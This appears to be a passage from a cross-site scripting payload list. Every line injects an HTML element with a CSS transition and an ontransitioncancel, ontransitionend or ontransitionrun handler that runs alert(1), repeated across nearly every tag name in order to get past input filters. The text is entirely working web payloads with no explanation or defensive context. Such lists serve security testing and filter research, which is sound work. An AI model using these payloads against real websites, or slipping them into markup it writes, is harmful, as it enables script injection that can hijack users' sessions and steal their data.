<style>:target {color: red;}</style><footer id=x style="transition:color 10s" ontransitioncancel=alert(1)></footer>
<style>:target {color: red;}</style><form id=x style="transition:color 10s" ontransitioncancel=alert(1)></form>
<style>:target {color: red;}</style><frame id=x style="transition:color 10s" ontransitioncancel=alert(1)></frame>
<style>:target {color: red;}</style><frameset id=x style="transition:color 10s" ontransitioncancel=alert(1)></frameset>
<style>:target {color: red;}</style><h1 id=x style="transition:color 10s" ontransitioncancel=alert(1)></h1>
<style>:target {color: red;}</style><head id=x style="transition:color 10s" ontransitioncancel=alert(1)></head>
<style>:target {color: red;}</style><header id=x style="transition:color 10s" ontransitioncancel=alert(1)></header>
<style>:target {color: red;}</style><hgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></hgroup>
<style>:target {color: red;}</style><hr id=x style="transition:color 10s" ontransitioncancel=alert(1)></hr>
<style>:target {color: red;}</style><html id=x style="transition:color 10s" ontransitioncancel=alert(1)></html>
<style>:target {color: red;}</style><i id=x style="transition:color 10s" ontransitioncancel=alert(1)></i>
<style>:target {color: red;}</style><iframe id=x style="transition:color 10s" ontransitioncancel=alert(1)></iframe>
<style>:target {color: red;}</style><image id=x style="transition:color 10s" ontransitioncancel=alert(1)></image>
<style>:target {color: red;}</style><img id=x style="transition:color 10s" ontransitioncancel=alert(1)></img>
<style>:target {color: red;}</style><input id=x style="transition:color 10s" ontransitioncancel=alert(1)></input>
<style>:target {color: red;}</style><ins id=x style="transition:color 10s" ontransitioncancel=alert(1)></ins>
<style>:target {color: red;}</style><isindex id=x style="transition:color 10s" ontransitioncancel=alert(1)></isindex>
<style>:target {color: red;}</style><kbd id=x style="transition:color 10s" ontransitioncancel=alert(1)></kbd>
<style>:target {color: red;}</style><keygen id=x style="transition:color 10s" ontransitioncancel=alert(1)></keygen>
<style>:target {color: red;}</style><label id=x style="transition:color 10s" ontransitioncancel=alert(1)></label>
<style>:target {color: red;}</style><legend id=x style="transition:color 10s" ontransitioncancel=alert(1)></legend>
<style>:target {color: red;}</style><li id=x style="transition:color 10s" ontransitioncancel=alert(1)></li>
<style>:target {color: red;}</style><link id=x style="transition:color 10s" ontransitioncancel=alert(1)></link>
<style>:target {color: red;}</style><listing id=x style="transition:color 10s" ontransitioncancel=alert(1)></listing>
<style>:target {color: red;}</style><main id=x style="transition:color 10s" ontransitioncancel=alert(1)></main>
<style>:target {color: red;}</style><map id=x style="transition:color 10s" ontransitioncancel=alert(1)></map>
<style>:target {color: red;}</style><mark id=x style="transition:color 10s" ontransitioncancel=alert(1)></mark>
<style>:target {color: red;}</style><marquee id=x style="transition:color 10s" ontransitioncancel=alert(1)></marquee>
<style>:target {color: red;}</style><menu id=x style="transition:color 10s" ontransitioncancel=alert(1)></menu>
<style>:target {color: red;}</style><menuitem id=x style="transition:color 10s" ontransitioncancel=alert(1)></menuitem>
<style>:target {color: red;}</style><meta id=x style="transition:color 10s" ontransitioncancel=alert(1)></meta>
<style>:target {color: red;}</style><meter id=x style="transition:color 10s" ontransitioncancel=alert(1)></meter>
<style>:target {color: red;}</style><multicol id=x style="transition:color 10s" ontransitioncancel=alert(1)></multicol>
<style>:target {color: red;}</style><nav id=x style="transition:color 10s" ontransitioncancel=alert(1)></nav>
<style>:target {color: red;}</style><nextid id=x style="transition:color 10s" ontransitioncancel=alert(1)></nextid>
<style>:target {color: red;}</style><nobr id=x style="transition:color 10s" ontransitioncancel=alert(1)></nobr>
<style>:target {color: red;}</style><noembed id=x style="transition:color 10s" ontransitioncancel=alert(1)></noembed>
<style>:target {color: red;}</style><noframes id=x style="transition:color 10s" ontransitioncancel=alert(1)></noframes>
<style>:target {color: red;}</style><noscript id=x style="transition:color 10s" ontransitioncancel=alert(1)></noscript>
<style>:target {color: red;}</style><object id=x style="transition:color 10s" ontransitioncancel=alert(1)></object>
<style>:target {color: red;}</style><ol id=x style="transition:color 10s" ontransitioncancel=alert(1)></ol>
<style>:target {color: red;}</style><optgroup id=x style="transition:color 10s" ontransitioncancel=alert(1)></optgroup>
<style>:target {color: red;}</style><option id=x style="transition:color 10s" ontransitioncancel=alert(1)></option>
<style>:target {color: red;}</style><output id=x style="transition:color 10s" ontransitioncancel=alert(1)></output>
<style>:target {color: red;}</style><p id=x style="transition:color 10s" ontransitioncancel=alert(1)></p>
<style>:target {color: red;}</style><param id=x style="transition:color 10s" ontransitioncancel=alert(1)></param>
<style>:target {color: red;}</style><picture id=x style="transition:color 10s" ontransitioncancel=alert(1)></picture>
<style>:target {color: red;}</style><plaintext id=x style="transition:color 10s" ontransitioncancel=alert(1)></plaintext>
<style>:target {color: red;}</style><pre id=x style="transition:color 10s" ontransitioncancel=alert(1)></pre>
<style>:target {color: red;}</style><progress id=x style="transition:color 10s" ontransitioncancel=alert(1)></progress>
<style>:target {color: red;}</style><q id=x style="transition:color 10s" ontransitioncancel=alert(1)></q>
<style>:target {color: red;}</style><rb id=x style="transition:color 10s" ontransitioncancel=alert(1)></rb>
<style>:target {color: red;}</style><rp id=x style="transition:color 10s" ontransitioncancel=alert(1)></rp>
<style>:target {color: red;}</style><rt id=x style="transition:color 10s" ontransitioncancel=alert(1)></rt>
<style>:target {color: red;}</style><rtc id=x style="transition:color 10s" ontransitioncancel=alert(1)></rtc>
<style>:target {color: red;}</style><ruby id=x style="transition:color 10s" ontransitioncancel=alert(1)></ruby>
<style>:target {color: red;}</style><s id=x style="transition:color 10s" ontransitioncancel=alert(1)></s>
<style>:target {color: red;}</style><samp id=x style="transition:color 10s" ontransitioncancel=alert(1)></samp>
<style>:target {color: red;}</style><script id=x style="transition:color 10s" ontransitioncancel=alert(1)></script>
<style>:target {color: red;}</style><section id=x style="transition:color 10s" ontransitioncancel=alert(1)></section>
<style>:target {color: red;}</style><select id=x style="transition:color 10s" ontransitioncancel=alert(1)></select>
<style>:target {color: red;}</style><shadow id=x style="transition:color 10s" ontransitioncancel=alert(1)></shadow>
<style>:target {color: red;}</style><slot id=x style="transition:color 10s" ontransitioncancel=alert(1)></slot>
<style>:target {color: red;}</style><small id=x style="transition:color 10s" ontransitioncancel=alert(1)></small>
<style>:target {color: red;}</style><source id=x style="transition:color 10s" ontransitioncancel=alert(1)></source>
<style>:target {color: red;}</style><spacer id=x style="transition:color 10s" ontransitioncancel=alert(1)></spacer>
<style>:target {color: red;}</style><span id=x style="transition:color 10s" ontransitioncancel=alert(1)></span>
<style>:target {color: red;}</style><strike id=x style="transition:color 10s" ontransitioncancel=alert(1)></strike>
<style>:target {color: red;}</style><strong id=x style="transition:color 10s" ontransitioncancel=alert(1)></strong>
<style>:target {color: red;}</style><style id=x style="transition:color 10s" ontransitioncancel=alert(1)></style>
<style>:target {color: red;}</style><sub id=x style="transition:color 10s" ontransitioncancel=alert(1)></sub>
<style>:target {color: red;}</style><summary id=x style="transition:color 10s" ontransitioncancel=alert(1)></summary>
<style>:target {color: red;}</style><sup id=x style="transition:color 10s" ontransitioncancel=alert(1)></sup>
<style>:target {color: red;}</style><svg id=x style="transition:color 10s" ontransitioncancel=alert(1)></svg>
<style>:target {color: red;}</style><table id=x style="transition:color 10s" ontransitioncancel=alert(1)></table>
<style>:target {color: red;}</style><tbody id=x style="transition:color 10s" ontransitioncancel=alert(1)></tbody>
<style>:target {color: red;}</style><td id=x style="transition:color 10s" ontransitioncancel=alert(1)></td>
<style>:target {color: red;}</style><template id=x style="transition:color 10s" ontransitioncancel=alert(1)></template>
<style>:target {color: red;}</style><textarea id=x style="transition:color 10s" ontransitioncancel=alert(1)></textarea>
<style>:target {color: red;}</style><tfoot id=x style="transition:color 10s" ontransitioncancel=alert(1)></tfoot>
<style>:target {color: red;}</style><th id=x style="transition:color 10s" ontransitioncancel=alert(1)></th>
<style>:target {color: red;}</style><thead id=x style="transition:color 10s" ontransitioncancel=alert(1)></thead>
<style>:target {color: red;}</style><time id=x style="transition:color 10s" ontransitioncancel=alert(1)></time>
<style>:target {color: red;}</style><title id=x style="transition:color 10s" ontransitioncancel=alert(1)></title>
<style>:target {color: red;}</style><tr id=x style="transition:color 10s" ontransitioncancel=alert(1)></tr>
<style>:target {color: red;}</style><track id=x style="transition:color 10s" ontransitioncancel=alert(1)></track>
<style>:target {color: red;}</style><tt id=x style="transition:color 10s" ontransitioncancel=alert(1)></tt>
<style>:target {color: red;}</style><u id=x style="transition:color 10s" ontransitioncancel=alert(1)></u>
<style>:target {color: red;}</style><ul id=x style="transition:color 10s" ontransitioncancel=alert(1)></ul>
<style>:target {color: red;}</style><var id=x style="transition:color 10s" ontransitioncancel=alert(1)></var>
<style>:target {color: red;}</style><video id=x style="transition:color 10s" ontransitioncancel=alert(1)></video>
<style>:target {color: red;}</style><wbr id=x style="transition:color 10s" ontransitioncancel=alert(1)></wbr>
<style>:target {color: red;}</style><xmp id=x style="transition:color 10s" ontransitioncancel=alert(1)></xmp>
<style>:target {color:red;}</style><a id=x style="transition:color 1s" ontransitionend=alert(1)></a>
<style>:target {color:red;}</style><abbr id=x style="transition:color 1s" ontransitionend=alert(1)></abbr>
<style>:target {color:red;}</style><acronym id=x style="transition:color 1s" ontransitionend=alert(1)></acronym>
<style>:target {color:red;}</style><address id=x style="transition:color 1s" ontransitionend=alert(1)></address>
<style>:target {color:red;}</style><applet id=x style="transition:color 1s" ontransitionend=alert(1)></applet>
<style>:target {color:red;}</style><area id=x style="transition:color 1s" ontransitionend=alert(1)></area>
<style>:target {color:red;}</style><article id=x style="transition:color 1s" ontransitionend=alert(1)></article>
<style>:target {color:red;}</style><aside id=x style="transition:color 1s" ontransitionend=alert(1)></aside>
<style>:target {color:red;}</style><audio id=x style="transition:color 1s" ontransitionend=alert(1)></audio>
<style>:target {color:red;}</style><b id=x style="transition:color 1s" ontransitionend=alert(1)></b>
<style>:target {color:red;}</style><base id=x style="transition:color 1s" ontransitionend=alert(1)></base>
<style>:target {color:red;}</style><basefont id=x style="transition:color 1s" ontransitionend=alert(1)></basefont>
<style>:target {color:red;}</style><bdi id=x style="transition:color 1s" ontransitionend=alert(1)></bdi>
<style>:target {color:red;}</style><bdo id=x style="transition:color 1s" ontransitionend=alert(1)></bdo>
<style>:target {color:red;}</style><bgsound id=x style="transition:color 1s" ontransitionend=alert(1)></bgsound>
<style>:target {color:red;}</style><big id=x style="transition:color 1s" ontransitionend=alert(1)></big>
<style>:target {color:red;}</style><blink id=x style="transition:color 1s" ontransitionend=alert(1)></blink>
<style>:target {color:red;}</style><blockquote id=x style="transition:color 1s" ontransitionend=alert(1)></blockquote>
<style>:target {color:red;}</style><body id=x style="transition:color 1s" ontransitionend=alert(1)></body>
<style>:target {color:red;}</style><br id=x style="transition:color 1s" ontransitionend=alert(1)></br>
<style>:target {color:red;}</style><button id=x style="transition:color 1s" ontransitionend=alert(1)></button>
<style>:target {color:red;}</style><canvas id=x style="transition:color 1s" ontransitionend=alert(1)></canvas>
<style>:target {color:red;}</style><caption id=x style="transition:color 1s" ontransitionend=alert(1)></caption>
<style>:target {color:red;}</style><center id=x style="transition:color 1s" ontransitionend=alert(1)></center>
<style>:target {color:red;}</style><cite id=x style="transition:color 1s" ontransitionend=alert(1)></cite>
<style>:target {color:red;}</style><code id=x style="transition:color 1s" ontransitionend=alert(1)></code>
<style>:target {color:red;}</style><col id=x style="transition:color 1s" ontransitionend=alert(1)></col>
<style>:target {color:red;}</style><colgroup id=x style="transition:color 1s" ontransitionend=alert(1)></colgroup>
<style>:target {color:red;}</style><command id=x style="transition:color 1s" ontransitionend=alert(1)></command>
<style>:target {color:red;}</style><content id=x style="transition:color 1s" ontransitionend=alert(1)></content>
<style>:target {color:red;}</style><data id=x style="transition:color 1s" ontransitionend=alert(1)></data>
<style>:target {color:red;}</style><datalist id=x style="transition:color 1s" ontransitionend=alert(1)></datalist>
<style>:target {color:red;}</style><dd id=x style="transition:color 1s" ontransitionend=alert(1)></dd>
<style>:target {color:red;}</style><del id=x style="transition:color 1s" ontransitionend=alert(1)></del>
<style>:target {color:red;}</style><details id=x style="transition:color 1s" ontransitionend=alert(1)></details>
<style>:target {color:red;}</style><dfn id=x style="transition:color 1s" ontransitionend=alert(1)></dfn>
<style>:target {color:red;}</style><dialog id=x style="transition:color 1s" ontransitionend=alert(1)></dialog>
<style>:target {color:red;}</style><dir id=x style="transition:color 1s" ontransitionend=alert(1)></dir>
<style>:target {color:red;}</style><div id=x style="transition:color 1s" ontransitionend=alert(1)></div>
<style>:target {color:red;}</style><dl id=x style="transition:color 1s" ontransitionend=alert(1)></dl>
<style>:target {color:red;}</style><dt id=x style="transition:color 1s" ontransitionend=alert(1)></dt>
<style>:target {color:red;}</style><element id=x style="transition:color 1s" ontransitionend=alert(1)></element>
<style>:target {color:red;}</style><em id=x style="transition:color 1s" ontransitionend=alert(1)></em>
<style>:target {color:red;}</style><embed id=x style="transition:color 1s" ontransitionend=alert(1)></embed>
<style>:target {color:red;}</style><fieldset id=x style="transition:color 1s" ontransitionend=alert(1)></fieldset>
<style>:target {color:red;}</style><figcaption id=x style="transition:color 1s" ontransitionend=alert(1)></figcaption>
<style>:target {color:red;}</style><figure id=x style="transition:color 1s" ontransitionend=alert(1)></figure>
<style>:target {color:red;}</style><font id=x style="transition:color 1s" ontransitionend=alert(1)></font>
<style>:target {color:red;}</style><footer id=x style="transition:color 1s" ontransitionend=alert(1)></footer>
<style>:target {color:red;}</style><form id=x style="transition:color 1s" ontransitionend=alert(1)></form>
<style>:target {color:red;}</style><frame id=x style="transition:color 1s" ontransitionend=alert(1)></frame>
<style>:target {color:red;}</style><frameset id=x style="transition:color 1s" ontransitionend=alert(1)></frameset>
<style>:target {color:red;}</style><h1 id=x style="transition:color 1s" ontransitionend=alert(1)></h1>
<style>:target {color:red;}</style><head id=x style="transition:color 1s" ontransitionend=alert(1)></head>
<style>:target {color:red;}</style><header id=x style="transition:color 1s" ontransitionend=alert(1)></header>
<style>:target {color:red;}</style><hgroup id=x style="transition:color 1s" ontransitionend=alert(1)></hgroup>
<style>:target {color:red;}</style><hr id=x style="transition:color 1s" ontransitionend=alert(1)></hr>
<style>:target {color:red;}</style><html id=x style="transition:color 1s" ontransitionend=alert(1)></html>
<style>:target {color:red;}</style><i id=x style="transition:color 1s" ontransitionend=alert(1)></i>
<style>:target {color:red;}</style><iframe id=x style="transition:color 1s" ontransitionend=alert(1)></iframe>
<style>:target {color:red;}</style><image id=x style="transition:color 1s" ontransitionend=alert(1)></image>
<style>:target {color:red;}</style><img id=x style="transition:color 1s" ontransitionend=alert(1)></img>
<style>:target {color:red;}</style><input id=x style="transition:color 1s" ontransitionend=alert(1)></input>
<style>:target {color:red;}</style><ins id=x style="transition:color 1s" ontransitionend=alert(1)></ins>
<style>:target {color:red;}</style><isindex id=x style="transition:color 1s" ontransitionend=alert(1)></isindex>
<style>:target {color:red;}</style><kbd id=x style="transition:color 1s" ontransitionend=alert(1)></kbd>
<style>:target {color:red;}</style><keygen id=x style="transition:color 1s" ontransitionend=alert(1)></keygen>
<style>:target {color:red;}</style><label id=x style="transition:color 1s" ontransitionend=alert(1)></label>
<style>:target {color:red;}</style><legend id=x style="transition:color 1s" ontransitionend=alert(1)></legend>
<style>:target {color:red;}</style><li id=x style="transition:color 1s" ontransitionend=alert(1)></li>
<style>:target {color:red;}</style><link id=x style="transition:color 1s" ontransitionend=alert(1)></link>
<style>:target {color:red;}</style><listing id=x style="transition:color 1s" ontransitionend=alert(1)></listing>
<style>:target {color:red;}</style><main id=x style="transition:color 1s" ontransitionend=alert(1)></main>
<style>:target {color:red;}</style><map id=x style="transition:color 1s" ontransitionend=alert(1)></map>
<style>:target {color:red;}</style><mark id=x style="transition:color 1s" ontransitionend=alert(1)></mark>
<style>:target {color:red;}</style><marquee id=x style="transition:color 1s" ontransitionend=alert(1)></marquee>
<style>:target {color:red;}</style><menu id=x style="transition:color 1s" ontransitionend=alert(1)></menu>
<style>:target {color:red;}</style><menuitem id=x style="transition:color 1s" ontransitionend=alert(1)></menuitem>
<style>:target {color:red;}</style><meta id=x style="transition:color 1s" ontransitionend=alert(1)></meta>
<style>:target {color:red;}</style><meter id=x style="transition:color 1s" ontransitionend=alert(1)></meter>
<style>:target {color:red;}</style><multicol id=x style="transition:color 1s" ontransitionend=alert(1)></multicol>
<style>:target {color:red;}</style><nav id=x style="transition:color 1s" ontransitionend=alert(1)></nav>
<style>:target {color:red;}</style><nextid id=x style="transition:color 1s" ontransitionend=alert(1)></nextid>
<style>:target {color:red;}</style><nobr id=x style="transition:color 1s" ontransitionend=alert(1)></nobr>
<style>:target {color:red;}</style><noembed id=x style="transition:color 1s" ontransitionend=alert(1)></noembed>
<style>:target {color:red;}</style><noframes id=x style="transition:color 1s" ontransitionend=alert(1)></noframes>
<style>:target {color:red;}</style><noscript id=x style="transition:color 1s" ontransitionend=alert(1)></noscript>
<style>:target {color:red;}</style><object id=x style="transition:color 1s" ontransitionend=alert(1)></object>
<style>:target {color:red;}</style><ol id=x style="transition:color 1s" ontransitionend=alert(1)></ol>
<style>:target {color:red;}</style><optgroup id=x style="transition:color 1s" ontransitionend=alert(1)></optgroup>
<style>:target {color:red;}</style><option id=x style="transition:color 1s" ontransitionend=alert(1)></option>
<style>:target {color:red;}</style><output id=x style="transition:color 1s" ontransitionend=alert(1)></output>
<style>:target {color:red;}</style><p id=x style="transition:color 1s" ontransitionend=alert(1)></p>
<style>:target {color:red;}</style><param id=x style="transition:color 1s" ontransitionend=alert(1)></param>
<style>:target {color:red;}</style><picture id=x style="transition:color 1s" ontransitionend=alert(1)></picture>
<style>:target {color:red;}</style><plaintext id=x style="transition:color 1s" ontransitionend=alert(1)></plaintext>
<style>:target {color:red;}</style><pre id=x style="transition:color 1s" ontransitionend=alert(1)></pre>
<style>:target {color:red;}</style><progress id=x style="transition:color 1s" ontransitionend=alert(1)></progress>
<style>:target {color:red;}</style><q id=x style="transition:color 1s" ontransitionend=alert(1)></q>
<style>:target {color:red;}</style><rb id=x style="transition:color 1s" ontransitionend=alert(1)></rb>
<style>:target {color:red;}</style><rp id=x style="transition:color 1s" ontransitionend=alert(1)></rp>
<style>:target {color:red;}</style><rt id=x style="transition:color 1s" ontransitionend=alert(1)></rt>
<style>:target {color:red;}</style><rtc id=x style="transition:color 1s" ontransitionend=alert(1)></rtc>
<style>:target {color:red;}</style><ruby id=x style="transition:color 1s" ontransitionend=alert(1)></ruby>
<style>:target {color:red;}</style><s id=x style="transition:color 1s" ontransitionend=alert(1)></s>
<style>:target {color:red;}</style><samp id=x style="transition:color 1s" ontransitionend=alert(1)></samp>
<style>:target {color:red;}</style><script id=x style="transition:color 1s" ontransitionend=alert(1)></script>
<style>:target {color:red;}</style><section id=x style="transition:color 1s" ontransitionend=alert(1)></section>
<style>:target {color:red;}</style><select id=x style="transition:color 1s" ontransitionend=alert(1)></select>
<style>:target {color:red;}</style><shadow id=x style="transition:color 1s" ontransitionend=alert(1)></shadow>
<style>:target {color:red;}</style><slot id=x style="transition:color 1s" ontransitionend=alert(1)></slot>
<style>:target {color:red;}</style><small id=x style="transition:color 1s" ontransitionend=alert(1)></small>
<style>:target {color:red;}</style><source id=x style="transition:color 1s" ontransitionend=alert(1)></source>
<style>:target {color:red;}</style><spacer id=x style="transition:color 1s" ontransitionend=alert(1)></spacer>
<style>:target {color:red;}</style><span id=x style="transition:color 1s" ontransitionend=alert(1)></span>
<style>:target {color:red;}</style><strike id=x style="transition:color 1s" ontransitionend=alert(1)></strike>
<style>:target {color:red;}</style><strong id=x style="transition:color 1s" ontransitionend=alert(1)></strong>
<style>:target {color:red;}</style><style id=x style="transition:color 1s" ontransitionend=alert(1)></style>
<style>:target {color:red;}</style><sub id=x style="transition:color 1s" ontransitionend=alert(1)></sub>
<style>:target {color:red;}</style><summary id=x style="transition:color 1s" ontransitionend=alert(1)></summary>
<style>:target {color:red;}</style><sup id=x style="transition:color 1s" ontransitionend=alert(1)></sup>
<style>:target {color:red;}</style><svg id=x style="transition:color 1s" ontransitionend=alert(1)></svg>
<style>:target {color:red;}</style><table id=x style="transition:color 1s" ontransitionend=alert(1)></table>
<style>:target {color:red;}</style><tbody id=x style="transition:color 1s" ontransitionend=alert(1)></tbody>
<style>:target {color:red;}</style><td id=x style="transition:color 1s" ontransitionend=alert(1)></td>
<style>:target {color:red;}</style><template id=x style="transition:color 1s" ontransitionend=alert(1)></template>
<style>:target {color:red;}</style><textarea id=x style="transition:color 1s" ontransitionend=alert(1)></textarea>
<style>:target {color:red;}</style><tfoot id=x style="transition:color 1s" ontransitionend=alert(1)></tfoot>
<style>:target {color:red;}</style><th id=x style="transition:color 1s" ontransitionend=alert(1)></th>
<style>:target {color:red;}</style><thead id=x style="transition:color 1s" ontransitionend=alert(1)></thead>
<style>:target {color:red;}</style><time id=x style="transition:color 1s" ontransitionend=alert(1)></time>
<style>:target {color:red;}</style><title id=x style="transition:color 1s" ontransitionend=alert(1)></title>
<style>:target {color:red;}</style><tr id=x style="transition:color 1s" ontransitionend=alert(1)></tr>
<style>:target {color:red;}</style><track id=x style="transition:color 1s" ontransitionend=alert(1)></track>
<style>:target {color:red;}</style><tt id=x style="transition:color 1s" ontransitionend=alert(1)></tt>
<style>:target {color:red;}</style><u id=x style="transition:color 1s" ontransitionend=alert(1)></u>
<style>:target {color:red;}</style><ul id=x style="transition:color 1s" ontransitionend=alert(1)></ul>
<style>:target {color:red;}</style><var id=x style="transition:color 1s" ontransitionend=alert(1)></var>
<style>:target {color:red;}</style><video id=x style="transition:color 1s" ontransitionend=alert(1)></video>
<style>:target {color:red;}</style><wbr id=x style="transition:color 1s" ontransitionend=alert(1)></wbr>
<style>:target {color:red;}</style><xmp id=x style="transition:color 1s" ontransitionend=alert(1)></xmp>
<style>:target {transform: rotate(180deg);}</style><a id=x style="transition:transform 2s" ontransitionrun=alert(1)></a>
<style>:target {transform: rotate(180deg);}</style><abbr id=x style="transition:transform 2s" ontransitionrun=alert(1)></abbr>
<style>:target {transform: rotate(180deg);}</style><acronym id=x style="transition:transform 2s" ontransitionrun=alert(1)></acronym>
<style>:target {transform: rotate(180deg);}</style><address id=x style="transition:transform 2s" ontransitionrun=alert(1)></address>
<style>:target {transform: rotate(180deg);}</style><applet id=x style="transition:transform 2s" ontransitionrun=alert(1)></applet>
<style>:target {transform: rotate(180deg);}</style><area id=x style="transition:transform 2s" ontransitionrun=alert(1)></area>
<style>:target {transform: rotate(180deg);}</style><article id=x style="transition:transform 2s" ontransitionrun=alert(1)></article>
<style>:target {transform: rotate(180deg);}</style><aside id=x style="transition:transform 2s" ontransitionrun=alert(1)></aside>
<style>:target {transform: rotate(180deg);}</style><audio id=x style="transition:transform 2s" ontransitionrun=alert(1)></audio>
<style>:target {transform: rotate(180deg);}</style><b id=x style="transition:transform 2s" ontransitionrun=alert(1)></b>
<style>:target {transform: rotate(180deg);}</style><base id=x style="transition:transform 2s" ontransitionrun=alert(1)></base>
<style>:target {transform: rotate(180deg);}</style><basefont id=x style="transition:transform 2s" ontransitionrun=alert(1)></basefont>
<style>:target {transform: rotate(180deg);}</style><bdi id=x style="transition:transform 2s" ontransitionrun=alert(1)></bdi>
<style>:target {transform: rotate(180deg);}</style><bdo id=x style="transition:transform 2s" ontransitionrun=alert(1)></bdo>
<style>:target {transform: rotate(180deg);}</style><bgsound id=x style="transition:transform 2s" ontransitionrun=alert(1)></bgsound>
<style>:target {transform: rotate(180deg);}</style><big id=x style="transition:transform 2s" ontransitionrun=alert(1)></big>
<style>:target {transform: rotate(180deg);}</style><blink id=x style="transition:transform 2s" ontransitionrun=alert(1)></blink>
<style>:target {transform: rotate(180deg);}</style><blockquote id=x style="transition:transform 2s" ontransitionrun=alert(1)></blockquote>
<style>:target {transform: rotate(180deg);}</style><body id=x style="transition:transform 2s" ontransitionrun=alert(1)></body>
<style>:target {transform: rotate(180deg);}</style><br id=x style="transition:transform 2s" ontransitionrun=alert(1)></br>
<style>:target {transform: rotate(180deg);}</style><button id=x style="transition:transform 2s" ontransitionrun=alert(1)></button>
<style>:target {transform: rotate(180deg);}</style><canvas id=x style="transition:transform 2s" ontransitionrun=alert(1)></canvas>
<style>:target {transform: rotate(180deg);}</style><caption id=x style="transition:transform 2s" ontransitionrun=alert(1)></caption>
<style>:target {transform: rotate(180deg);}</style><center id=x style="transition:transform 2s" ontransitionrun=alert(1)></center>
<style>:target {transform: rotate(180deg);}</style><cite id=x style="transition:transform 2s" ontransitionrun=alert(1)></cite>
<style>:target {transform: rotate(180deg);}</style><code id=x style="transition:transform 2s" ontransitionrun=alert(1)></code>
<style>:target {transform: rotate(180deg);}</style><col id=x style="transition:transform 2s" ontransitionrun=alert(1)></col>
<style>:target {transform: rotate(180deg);}</style><colgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></colgroup>
<style>:target {transform: rotate(180deg);}</style><command id=x style="transition:transform 2s" ontransitionrun=alert(1)></command>
<style>:target {transform: rotate(180deg);}</style><content id=x style="transition:transform 2s" ontransitionrun=alert(1)></content>
<style>:target {transform: rotate(180deg);}</style><data id=x style="transition:transform 2s" ontransitionrun=alert(1)></data>
<style>:target {transform: rotate(180deg);}</style><datalist id=x style="transition:transform 2s" ontransitionrun=alert(1)></datalist>
<style>:target {transform: rotate(180deg);}</style><dd id=x style="transition:transform 2s" ontransitionrun=alert(1)></dd>
<style>:target {transform: rotate(180deg);}</style><del id=x style="transition:transform 2s" ontransitionrun=alert(1)></del>
<style>:target {transform: rotate(180deg);}</style><details id=x style="transition:transform 2s" ontransitionrun=alert(1)></details>
<style>:target {transform: rotate(180deg);}</style><dfn id=x style="transition:transform 2s" ontransitionrun=alert(1)></dfn>
<style>:target {transform: rotate(180deg);}</style><dialog id=x style="transition:transform 2s" ontransitionrun=alert(1)></dialog>
<style>:target {transform: rotate(180deg);}</style><dir id=x style="transition:transform 2s" ontransitionrun=alert(1)></dir>
<style>:target {transform: rotate(180deg);}</style><div id=x style="transition:transform 2s" ontransitionrun=alert(1)></div>
<style>:target {transform: rotate(180deg);}</style><dl id=x style="transition:transform 2s" ontransitionrun=alert(1)></dl>
<style>:target {transform: rotate(180deg);}</style><dt id=x style="transition:transform 2s" ontransitionrun=alert(1)></dt>
<style>:target {transform: rotate(180deg);}</style><element id=x style="transition:transform 2s" ontransitionrun=alert(1)></element>
<style>:target {transform: rotate(180deg);}</style><em id=x style="transition:transform 2s" ontransitionrun=alert(1)></em>
<style>:target {transform: rotate(180deg);}</style><embed id=x style="transition:transform 2s" ontransitionrun=alert(1)></embed>
<style>:target {transform: rotate(180deg);}</style><fieldset id=x style="transition:transform 2s" ontransitionrun=alert(1)></fieldset>
<style>:target {transform: rotate(180deg);}</style><figcaption id=x style="transition:transform 2s" ontransitionrun=alert(1)></figcaption>
<style>:target {transform: rotate(180deg);}</style><figure id=x style="transition:transform 2s" ontransitionrun=alert(1)></figure>
<style>:target {transform: rotate(180deg);}</style><font id=x style="transition:transform 2s" ontransitionrun=alert(1)></font>
<style>:target {transform: rotate(180deg);}</style><footer id=x style="transition:transform 2s" ontransitionrun=alert(1)></footer>
<style>:target {transform: rotate(180deg);}</style><form id=x style="transition:transform 2s" ontransitionrun=alert(1)></form>
<style>:target {transform: rotate(180deg);}</style><frame id=x style="transition:transform 2s" ontransitionrun=alert(1)></frame>
<style>:target {transform: rotate(180deg);}</style><frameset id=x style="transition:transform 2s" ontransitionrun=alert(1)></frameset>
<style>:target {transform: rotate(180deg);}</style><h1 id=x style="transition:transform 2s" ontransitionrun=alert(1)></h1>
<style>:target {transform: rotate(180deg);}</style><head id=x style="transition:transform 2s" ontransitionrun=alert(1)></head>
<style>:target {transform: rotate(180deg);}</style><header id=x style="transition:transform 2s" ontransitionrun=alert(1)></header>
<style>:target {transform: rotate(180deg);}</style><hgroup id=x style="transition:transform 2s" ontransitionrun=alert(1)></hgroup>
<style>:target {transform: rotate(180deg);}</style><hr id=x style="transition:transform 2s" ontransitionrun=alert(1)></hr>
<style>:target {transform: rotate(180deg);}</style><html id=x style="transition:transform 2s" ontransitionrun=alert(1)></html>
<style>:target {transform: rotate(180deg);}</style><i id=x style="transition:transform 2s" ontransitionrun=alert(1)></i>
<style>:target {transform: rotate(180deg);}</style><iframe id=x style="transition:transform 2s" ontransitionrun=alert(1)></iframe>
<style>:target {transform: rotate(180deg);}</style><image id=x style="transition:transform 2s" ontransitionrun=alert(1)></image>
<style>:target {transform: rotate(180deg);}</style><img id=x style="transition:transform 2s" ontransitionrun=alert(1)></img>
<style>:target {transform: rotate(180deg);}</style><input id=x style="transition:transform 2s" ontransitionrun=alert(1)></input>
<style>:target {transform: rotate(180deg);}</style><ins id=x style="transition:transform 2s" ontransitionrun=alert(1)></ins>
<style>:target {transform: rotate(180deg);}</style><isindex id=x style="transition:transform 2s" ontransitionrun=alert(1)></isindex>
<style>:target {transform: rotate(180deg);}</style><kbd id=x style="transition:transform 2s" ontransitionrun=alert(1)></kbd>
<style>:target {transform: rotate(180deg);}</style><keygen id=x style="transition:transform 2s" ontransitionrun=alert(1)></keygen>
<style>:target {transform: rotate(180deg);}</style><label id=x style="transition:transform 2s" ontransitionrun=alert(1)></label>
<style>:target {transform: rotate(180deg);}</style><legend id=x style="transition:transform 2s" ontransitionrun=alert(1)></legend>
<style>:target {transform: rotate(180deg);}</style><li id=x style="transition:transform 2s" ontransitionrun=alert(1)></li>
<style>:target {transform: rotate(180deg);}</style><link id=x style="transition:transform 2s" ontransitionrun=alert(1)></link>
<style>:target {transform: rotate(180deg);}</style><listing id=x style="transition:transform 2s" ontransitionrun=alert(1)></listing>
<style>:target {transform: rotate(180deg);}</style><main id=x style="transition:transform 2s" ontransitionrun=alert(1)></main>
<style>:target {transform: rotate(180deg);}</style><map id=x style="transition:transform 2s" ontransitionrun=alert(1)></map>
